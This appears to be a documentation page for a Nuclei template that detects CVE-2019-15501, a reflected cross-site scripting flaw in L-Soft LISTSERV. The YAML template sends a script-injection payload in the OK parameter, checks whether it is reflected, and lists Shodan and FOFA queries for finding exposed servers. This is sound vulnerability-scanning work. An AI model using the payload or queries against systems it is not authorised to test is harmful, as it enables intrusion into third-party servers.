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L-Soft LISTSERV <16.5-2018a - Cross-Site Scripting

ID: CVE-2019-15501

Severity: medium

Author: LogicalHunter,arafatansari

Tags: cve2019,cve,xss,listserv,edb,lsoft

Description

Section titled “Description”

L-Soft LISTSERV before 16.5-2018a contains a reflected cross-site scripting vulnerability via the /scripts/wa.exe OK parameter.

YAML Source

Section titled “YAML Source”
id: CVE-2019-15501


info:
  name: L-Soft LISTSERV <16.5-2018a - Cross-Site Scripting
  author: LogicalHunter,arafatansari
  severity: medium
  description: |
    L-Soft LISTSERV before 16.5-2018a contains a reflected cross-site scripting vulnerability via the /scripts/wa.exe OK parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
  remediation: |
    Upgrade to a version of L-Soft LISTSERV that is higher than 16.5-2018a to mitigate the XSS vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/47302
    - http://www.lsoft.com/manuals/16.5/LISTSERV16.5-2018a_WhatsNew.pdf
    - https://nvd.nist.gov/vuln/detail/CVE-2019-15501
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-15501
    cwe-id: CWE-79
    epss-score: 0.00303
    epss-percentile: 0.69634
    cpe: cpe:2.3:a:lsoft:listserv:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: lsoft
    product: listserv
    shodan-query:
      - http.html:"LISTSERV"
      - http.html:"listserv"
    fofa-query: body="listserv"
  tags: cve2019,cve,xss,listserv,edb,lsoft


http:
  - method: GET
    path:
      - '{{BaseURL}}/scripts/wa.exe?OK=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'
          - 'LISTSERV'
        case-insensitive: true
        condition: and


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
# digest: 4b0a00483046022100b056d3918357d45b6cb9488900ae7ba6f99f1ce861c025e1ab334512930ced84022100fe4b2e9518e089bf4200619c64ca03a3898026b99267abe86d352b84253216c3:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-15501.yaml"

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